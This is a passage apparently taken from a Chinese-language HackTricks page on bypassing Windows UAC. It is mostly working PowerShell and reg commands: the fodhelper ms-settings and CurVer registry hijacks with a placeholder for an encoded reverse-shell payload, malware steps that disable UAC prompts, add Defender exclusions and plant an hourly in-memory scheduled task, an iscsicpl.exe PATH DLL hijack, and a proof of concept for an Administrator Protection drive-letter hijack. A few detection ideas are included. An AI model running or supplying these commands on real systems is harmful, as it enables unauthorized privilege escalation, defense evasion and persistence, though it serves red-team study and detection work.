1) Create the vulnerable key and values

New-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Force | Out-Null New-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “DelegateExecute” -Value “” -Force | Out-Null

2) Set default command to your payload (example: reverse shell or cmd)

Replace <BASE64_PS> with your base64-encoded PowerShell (or any command)

Set-ItemProperty -Path “HKCU:\Software\Classes\ms-settings\Shell\Open\command” -Name “(default)” -Value “powershell -ExecutionPolicy Bypass -WindowStyle Hidden -e <BASE64_PS>” -Force

3) Trigger auto-elevation

Start-Process -FilePath “C:\Windows\System32\fodhelper.exe”

4) (Recommended) Cleanup

Remove-Item -Path “HKCU:\Software\Classes\ms-settings\Shell\Open” -Recurse -Force

</details>
Notes:
- Works when the current user is a member of Administrators and UAC level is default/lenient (not Always Notify with extra restrictions).
- Use the `sysnative` path to start a 64-bit PowerShell from a 32-bit process on 64-bit Windows.
- Payload can be any command (PowerShell, cmd, or an EXE path). Avoid prompting UIs for stealth.

#### CurVer/extension hijack variant (HKCU only)

最近利用 `fodhelper.exe` 的样本会避免使用 `DelegateExecute`，而是通过 per-user `CurVer` 值**重定向 `ms-settings` ProgID**。这个 auto-elevated 二进制仍然会在 `HKCU` 下解析 handler，所以不需要 admin token 就能植入这些 key：
```powershell
# Point ms-settings to a custom extension (.thm) and map that extension to our payload
New-Item -Path "HKCU:\Software\Classes\.thm\Shell\Open" -Force | Out-Null
New-ItemProperty -Path "HKCU:\Software\Classes\.thm\Shell\Open\command" -Name "(default)" -Value "C:\\ProgramData\\rKXujm.exe" -Force | Out-Null
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings" -Name "CurVer" -Value ".thm" -Force

Start-Process "C:\\Windows\\System32\\fodhelper.exe"   # auto-elevates and runs rKXujm.exe

一旦提权，malware 通常会通过将 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin 设置为 0 来禁用未来的提示，然后执行额外的 defense evasion（例如，Add-MpPreference -ExclusionPath C:\ProgramData），并重新创建 persistence 以 high integrity 运行。一个典型的 persistence 任务会将一个XOR-encrypted PowerShell script存储在磁盘上，并每小时在内存中解码/执行它：

schtasks /create /sc hourly /tn "OneDrive Startup Task" /rl highest /tr "cmd /c powershell -w hidden $d=[IO.File]::ReadAllBytes('C:\ProgramData\VljE\zVJs.ps1');$k=[Text.Encoding]::UTF8.GetBytes('Q');for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$k[$i%$k.Length]};iex ([Text.Encoding]::UTF8.GetString($d))"

这个变体仍然会清理 dropper，并只保留 staged payloads，因此检测要依赖于监控 CurVer hijack、ConsentPromptBehaviorAdmin 篡改、Defender exclusion 创建，或会在内存中解密 PowerShell 的 scheduled tasks。

更多 UAC bypass

这里使用的所有技术来 bypass AUC 都需要与受害者的一个完整交互式 shell（普通的 nc.exe shell 不够）。

你可以通过 meterpreter 会话获得。迁移到一个 Session 值等于 1 的 process：

(explorer.exe 应该可以工作)

使用 GUI 的 UAC Bypass

如果你有 GUI 访问权限，你其实只要在弹出 UAC 提示时直接接受就行了，不真的需要 bypass。也就是说，拿到 GUI 访问权限就能让你 bypass UAC。

此外，如果你获得的是别人正在使用的 GUI 会话（可能通过 RDP），会有一些工具会以 administrator 身份运行，你可以直接从那里运行一个例如 cmd 的程序，以 admin 身份直接运行，而不会再次被 UAC 提示，比如 https://github.com/oski02/UAC-GUI-Bypass-appverif。这可能会更stealthy一些。

噪声较大的暴力 UAC bypass

如果你不介意噪声，你总是可以运行类似 https://github.com/Chainski/ForceAdmin 这样的工具，它会请求提升权限，直到用户同意为止。

你自己的 bypass - 基础 UAC bypass 方法论

如果你看一下 UACME，你会注意到大多数 UAC bypass 都滥用了 Dll Hijacking 漏洞（主要是把恶意 dll 写到 C:\Windows\System32）。阅读这里了解如何找到 Dll Hijacking 漏洞。

1. 找一个会 autoelevate 的 binary（确认它执行时会以 high integrity level 运行）。
2. 用 procmon 找到可以被 DLL Hijacking 利用的 “NAME NOT FOUND” 事件。
3. 你很可能需要把 DLL 写入 一些受保护路径（比如 C:\Windows\System32），而你没有写权限。你可以通过以下方式绕过：
4. wusa.exe：Windows 7、8 和 8.1。它允许把 CAB 文件内容提取到受保护路径中（因为这个工具是以高 integrity level 执行的）。
5. IFileOperation：Windows 10。
6. 准备一个 script，把你的 DLL 复制到受保护路径中，并执行 vulnerable 且 autoelevated 的 binary。

另一种 UAC bypass 技术

核心是观察一个 autoElevated binary 是否会从 registry 中读取某个将要被执行的 binary 或 command 的名字/路径（如果这个 binary 是在 HKCU 中查找这些信息，就更有意思）。

通过 SysWOW64\iscsicpl.exe + user PATH DLL hijack 的 UAC bypass

32 位的 C:\Windows\SysWOW64\iscsicpl.exe 是一个 auto-elevated binary，可以通过搜索顺序去加载 iscsiexe.dll。如果你能把恶意的 iscsiexe.dll 放到一个用户可写目录中，然后修改当前用户的 PATH（例如通过 HKCU\Environment\Path）让该目录被搜索，Windows 可能会在提升权限的 iscsicpl.exe process 中加载攻击者的 DLL，而不显示 UAC 提示。

实用说明：

• 当当前用户属于 Administrators 但由于 UAC 以 Medium Integrity 运行时，这个方法很有用。
• 这里用于 bypass 的是 SysWOW64 版本。请把 System32 版本视为一个单独的 binary，并独立验证其行为。
• 这个原语结合了 auto-elevation 和 DLL search-order hijacking，所以用于验证缺失 DLL 加载的同一套 ProcMon 工作流也很有用。

最小流程：

copy iscsiexe.dll %TEMP%\iscsiexe.dll
reg add "HKCU\Environment" /v Path /t REG_SZ /d "%TEMP%" /f
C:\Windows\System32\cmd.exe /c C:\Windows\SysWOW64\iscsicpl.exe

Detection ideas:

• Alert on reg add / registry writes to HKCU\Environment\Path immediately followed by execution of C:\Windows\SysWOW64\iscsicpl.exe.
• Hunt for iscsiexe.dll in user-controlled locations such as %TEMP% or %LOCALAPPDATA%\Microsoft\WindowsApps.
• Correlate iscsicpl.exe launches with unexpected child processes or DLL loads from outside the normal Windows directories.

Administrator Protection (25H2) drive-letter hijack via per-logon-session DOS device map

Windows 11 25H2 “Administrator Protection” uses shadow-admin tokens with per-session \Sessions\0\DosDevices/<LUID> maps. The directory is created lazily by SeGetTokenDeviceMap on first \?? resolution. If the attacker impersonates the shadow-admin token only at SecurityIdentification, the directory is created with the attacker as owner (inherits CREATOR OWNER), allowing drive-letter links that take precedence over \GLOBAL??.

Steps:

1. From a low-privileged session, call RAiProcessRunOnce to spawn a promptless shadow-admin runonce.exe.
2. Duplicate its primary token to an identification token and impersonate it while opening \?? to force creation of \Sessions\0\DosDevices/<LUID> under attacker ownership.
3. Create a C: symlink there pointing to attacker-controlled storage; subsequent filesystem accesses in that session resolve C: to the attacker path, enabling DLL/file hijack without a prompt.

PowerShell PoC (NtObjectManager):

$pid = Invoke-RAiProcessRunOnce
$p = Get-Process -Id $pid
$t = Get-NtToken -Process $p
$id = New-NtTokenDuplicate -Token $t -ImpersonationLevel Identification
Invoke-NtToken $id -ImpersonationLevel Identification { Get-NtDirectory "\??" | Out-Null }
$auth = Get-NtTokenId -Authentication -Token $id
New-NtSymbolicLink "\Sessions\0\DosDevices/$auth/C:" "\??\\C:\\Users\\attacker\\loot"

References

• HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps
• LOLBAS: Fodhelper.exe
• LOLBAS: Iscsicpl.exe
• Microsoft Docs – How User Account Control works
• UACME – UAC bypass techniques collection
• Checkpoint Research – KONNI Adopts AI to Generate PowerShell Backdoors
• Check Point Research – Operation TrueChaos: 0-Day Exploitation Against Southeast Asian Government Targets
• Project Zero – Windows Administrator Protection drive-letter hijack

Tip

学习并实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) 浏览用于评估路线的 完整 HackTricks Training 目录（ARTA/GRTA/AzRTA）以及 Linux Hacking Expert (LHE)。

支持 HackTricks

• 查看 订阅方案!
• 加入 💬 Discord 群组、telegram 群组，关注 X/Twitter 上的 @hacktricks_live，或查看 LinkedIn 页面 和 YouTube 频道。
• 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR，分享 hacking 技巧。